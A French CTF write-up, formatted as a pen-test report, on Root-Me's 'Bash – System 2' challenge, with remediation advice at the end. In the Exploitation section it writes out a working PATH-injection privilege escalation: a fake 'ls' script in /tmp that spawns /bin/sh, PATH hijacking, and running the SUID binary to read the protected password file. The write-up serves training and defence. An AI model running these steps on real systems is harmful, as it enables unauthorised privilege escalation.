

Rapport de Pen-Test

AUTEUR DU RAPPORT

Philippe Bécué

Root-Me

RÔLE DE L'AUTEUR

Pen-tester

PÉRIODE

01/03/2026 - 01/03/2026

Sommaire

01 **Avertissement — Simulation / CTF**

Informations légales, confidentialité et conditions d'utilisation de ce document

02 **Vidéo Démo**

Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 **Tableau des vulnérabilités**

Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 **Liste des intervenants**

Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 **Scope**

Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 **Information Gathering**

Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 **OSINT**

Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 **Enumeration**

Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 **Analyse de vulnérabilités**

Identification, qualification et classification des failles de sécurité découvertes

10 **Exploitation**

Démonstration technique de l'exploitation des vulnérabilités confirmées

11 **Post-Exploitation**

Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 **Tableau de synthèse des vulnérabilités**

Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 **Conclusion**

Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 **Solution**

Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Vidéo Démo

LIEN VERS LA VIDÉO

https://youtu.be/gQL9wDmWai0

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
Critique	**9.0 – 10.0**	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
Élevée	**7.0 – 8.9**	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
Modérée	**4.0 – 6.9**	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
Faible	**0.1 – 3.9**	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
Informative	**N/A**	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Windows

Scope

Portée du test

NOM	DÉTAILS
challenge02.root-me.org:2222	Challenge Root-Me – Bash - System 2 (App-Script)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

Information Gathering

Le challenge **Bash – System 2** s'aborde via une connexion SSH sur l'infrastructure Root-Me :

```
ssh -p 2222 app-script-ch12@challenge02.root-me.org
```

Une fois connecté, le shell atterrit directement dans le répertoire du challenge. Un listing détaillé révèle les deux éléments au cœur de l'exercice :

```
ls -la
total 16
dr-x--x--x 2 app-script-ch12-cracked app-script-ch12  4096 ... .
-rwsr-xr-x 1 app-script-ch12-cracked app-script-ch12  7452 ... ch12
-r-------- 1 app-script-ch12-cracked app-script-ch12    14 ... .passwd
```

Le binaire `ch12` affiche le bit SUID activé (le `s` dans les permissions `-rwsr-xr-x`) : quel que soit l'utilisateur qui l'exécute, le processus tournera avec les droits de son propriétaire, `app-script-ch12-cracked`. Le fichier `.passwd` est quant à lui protégé en lecture exclusive pour ce même propriétaire. Toute tentative d'accès direct est immédiatement rejetée :

```
cat .passwd
cat: .passwd: Permission denied
```

L'énoncé du challenge fournit le code source C complet du binaire — un avantage considérable par rapport à un test d'intrusion réel où il faudrait recourir au désassemblage ou au débogage dynamique pour reconstituer la logique du programme.

OSINT

Aucun contenu n'a encore été ajouté à cette section.

Enumeration

Lecture du code source

Le code source fourni dans l'énoncé est court, mais chacune de ses lignes porte une information capitale pour construire l'exploit :

```
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
    setreuid(geteuid(), geteuid());
    system("ls -lA /challenge/app-script/ch12/.passwd");
    return 0;
}
```

Deux éléments retiennent immédiatement l'attention. L'appel `setreuid(geteuid(), geteuid())` synchronise le Real UID sur l'Effective UID du processus — nous reviendrons en détail sur cette mécanique dans la section Analyse de vulnérabilités. L'instruction critique est ensuite `system("ls -lA /challenge/app-script/ch12/.passwd")` : la commande `ls` y est invoquée **sans chemin absolu**. C'est ce détail qui rend le programme vulnérable à une attaque de type PATH Injection.

Vérification de l'espace d'écriture disponible

Pour implanter notre payload, il faut trouver un répertoire inscriptible. On commence par le plus évident :

```
echo "probe" > /tmp/test.txt && echo "Ecriture /tmp : OK"
Ecriture /tmp : OK
```

Le répertoire `/tmp` est directement accessible en écriture. Contrairement au premier challenge de la série où `/tmp` était verrouillé et où il avait fallu identifier un répertoire alternatif avec `find / -writable -type d`, ici on peut travailler immédiatement sans étape de reconnaissance supplémentaire.

Analyse de vulnérabilités

PATH Injection sur appel system() sans chemin absolu

Quand la fonction C `system(commande)` est appelée, elle ne lance pas directement le binaire visé. En interne, elle exécute l'équivalent de :
`execve("/bin/sh", ["sh", "-c", "ls -lA /challenge/app-script/ch12/.passwd"], enviro`
Le shell `/bin/sh` reçoit la commande sous forme de chaîne brute et la résout lui-même. Pour localiser `ls`, il parcourt les répertoires listés dans la variable d'environnement `PATH` de gauche à droite, et exécute le premier fichier nommé `ls` qu'il rencontre. Or, ce `PATH` est **hérité de l'environnement de l'attaquant** qui a lancé le binaire SUID. Si l'attaquant place en tête du `PATH` un répertoire contenant son propre exécutable nommé `ls`, c'est celui-ci qui sera résolu à la place du vrai `/bin/ls`.
Un détail qui pourrait prêter à confusion : la commande appelée est `ls -lA` et non un simple `ls`. Cela ne change strictement rien à l'exploitation. Le shell résout d'abord le nom de la commande (`ls`), puis lui transmet les arguments (`-lA` et le chemin). Notre faux exécutable nommé `ls` recevra bien ces arguments, mais il peut les ignorer totalement — il exécutera uniquement le code qu'on y a placé.

Le rôle ambigu de setreuid

Pour les débutants, `setreuid(geteuid(), geteuid())` peut sembler être une mesure de sécurité. C'est en réalité l'inverse : c'est ce qui rend l'exploit *fiable*. Explications. Sous bash, une protection interne vérifie à chaque démarrage si le Real UID diffère de l'Effective UID. Si c'est le cas, bash appelle lui-même `setuid(real_uid)` pour abandonner les droits élevés — une défense native contre les abus de binaires SUID. `setreuid(geteuid(), geteuid())` neutralise cette protection en alignant les deux UIDs sur l'Effective UID *avant* que le sous-shell ne soit invoqué. Le shell héritera ainsi pleinement des droits élevés, sans déclencher aucun mécanisme de défense.

Exploitation

Création du payload dans /tmp

L'approche retenue ici est différente d'une simple lecture de fichier depuis le payload. On va utiliser le faux `ls` pour spawner un shell interactif disposant des droits élevés. C'est une technique plus proche d'un scénario réel d'escalade de privilèges : on obtient d'abord un accès shell élevé, puis on l'exploite librement.

On crée dans `/tmp` un script Python nommé `ls`. Le choix de Python illustre un point fondamental : la nature du langage ou de l'interpréteur n'a aucune importance. Bash, Python, Perl, Ruby, un binaire compilé — n'importe quel exécutable nommé `ls` ferait l'affaire. Seuls le nom du fichier et son bit d'exécution comptent :

```
echo '#!/usr/bin/python2' > /tmp/ls
echo 'import os' >> /tmp/ls
echo 'os.system("/bin/sh")' >> /tmp/ls
chmod +x /tmp/ls
```

On vérifie le contenu avant de continuer :

```
cat /tmp/ls
#!/usr/bin/python2
import os
os.system("/bin/sh")
```

Le script importe le module `os` et appelle `os.system("/bin/sh")`, qui forke un shell avec les droits du processus courant. Quand ce processus sera notre binaire SUID `ch12`, ce shell héritera de ses droits élevés.

Injection dans le PATH et déclenchement

On modifie la variable `PATH` en plaçant `/tmp` en tête de liste, devant tous les répertoires système. Le mot-clé `export` est impératif : sans lui, la modification resterait locale au shell courant et ne serait pas transmise aux processus enfants :

```
export PATH="/tmp:$PATH"
```

On confirme que bash résoudra désormais `ls` vers notre payload :

```
which ls
/tmp/ls
```

Il ne reste plus qu'à exécuter le binaire SUID. Le préfixe `./` est indispensable sous Linux, où le répertoire courant n'est jamais inclus dans le `PATH` par défaut :

```
./ch12
```

La chaîne d'exécution se déroule automatiquement : `ch12` tourne avec l'Effective UID de `app-script-ch12-cracked` → `setreuid` aligne le Real UID sur l'Effective UID → `system()` forke un `/bin/sh` qui hérite de notre `PATH` modifié → ce shell trouve `/tmp/ls` en premier → Python lance `/bin/sh` → on obtient un shell interactif avec les droits élevés :

```
sh-4.2$ id
uid=1222(app-script-ch12-cracked) gid=1089(app-script-ch12) groups=1089(app-script-
sh-4.2$ /bin/cat .passwd
<hash>
sh-4.2$
```

On utilise `/bin/cat` avec son chemin absolu pour éviter tout conflit avec notre `PATH` modifié qui est toujours actif dans ce shell. Le flag s'affiche en clair.

Post-Exploitation

Aucun contenu n'a encore été ajouté à cette section.

Tableau de synthèse des vulnérabilités

VULNÉRABILITÉ	APPLICATION	PORT	TYPE	GRAVITÉ	IMPACT PRINCIPAL
PATH Injection sur binaire SUID	ch12 (binaire SUID)		Privilege Escalation	high	Exécution d'un shell interactif avec les droits du propriétaire SUID via substitution de la commande ls dans la variable PATH

Conclusion

Ce challenge consolide la maîtrise de la **PATH Injection sur binaire SUID** tout en apportant deux variantes techniques significatives par rapport à son prédécesseur de la série. La chaîne d'attaque complète se résume en six étapes :

1. Connexion SSH et inventaire du répertoire → binaire SUID `ch12` et fichier `.passwd` inaccessible directement
2. Lecture du code source → identification de `system("ls -lA ...")` avec résolution relative du binaire `ls`
3. Vérification que `/tmp` est inscriptible — aucune exploration complémentaire nécessaire cette fois
4. Création d'un script Python nommé `ls` qui spawne `/bin/sh`, rendu exécutable via `chmod +x`
5. Injection de `/tmp` en tête du `PATH` via `export` pour que notre faux `ls` soit résolu en priorité
6. Exécution de `./ch12` → shell interactif avec droits élevés → lecture du `.passwd` via `/bin/cat`

Deux enseignements méritent d'être retenus. Premièrement, `/tmp` étant disponible en écriture, il n'est plus nécessaire de mener une reconnaissance de répertoires inscriptibles comme dans System 1 — ce qui illustre que la surface d'attaque peut varier d'une machine à l'autre même sur un schéma de vulnérabilité identique. Deuxièmement, le fait que la commande invoquée soit `ls -lA` (avec des options) n'a eu aucun impact sur l'exploitation : les options sont transmises au binaire résolu, mais notre payload les ignore et s'exécute de façon autonome.

Solution

1. Utiliser des chemins absolus dans tous les appels système

La correction principale consiste à remplacer le nom de commande relatif par son chemin complet. Le programme devient alors imperméable à toute manipulation de la variable `PATH` :

```
// Vulnérable
system("ls -lA /challenge/app-script/ch12/.passwd");

// Corrigé
system("/bin/ls -lA /challenge/app-script/ch12/.passwd");
```

2. Redéfinir le PATH en début de programme SUID

En défense en profondeur, tout programme SUID devrait réinitialiser le `PATH` à un ensemble minimal et de confiance avant d'invoquer `system()`. Même si la commande est spécifiée en absolu, cette pratique évite les effets de bord sur d'éventuels autres appels présents ou futurs dans le code :

```
putenv("PATH=/usr/local/bin:/usr/bin:/bin");
system("/bin/ls -lA /challenge/app-script/ch12/.passwd");
```

3. Préférer execve() à system()

La fonction `system()` passe systématiquement par un shell intermédiaire qui hérite des variables d'environnement de l'appelant (`PATH`, `IFS`, `LD_PRELOAD`, etc.) et introduit une surface d'attaque étendue. La fonction `execve()` exécute directement le programme sans invoquer de shell, éliminant cette surface :

```
char *args[] = {"/bin/ls", "-lA", "/challenge/app-script/ch12/.passwd", NULL};
execve("/bin/ls", args, NULL);
```

4. Appliquer le principe du moindre privilège

Si le bit SUID est réellement indispensable, les droits élevés doivent être restitués dès que la tâche qui les requiert est terminée, via `setuid(getuid())`. Cette pratique réduit la fenêtre d'exposition en cas de vulnérabilité résiduelle. Dans ce cas précis, l'opération de

listing d'un fichier ne justifie pas l'usage d'un SUID permanent — une solution architecturale alternative consisterait à exposer ce contenu via un service dédié tournant avec les droits appropriés, plutôt qu'un binaire SUID.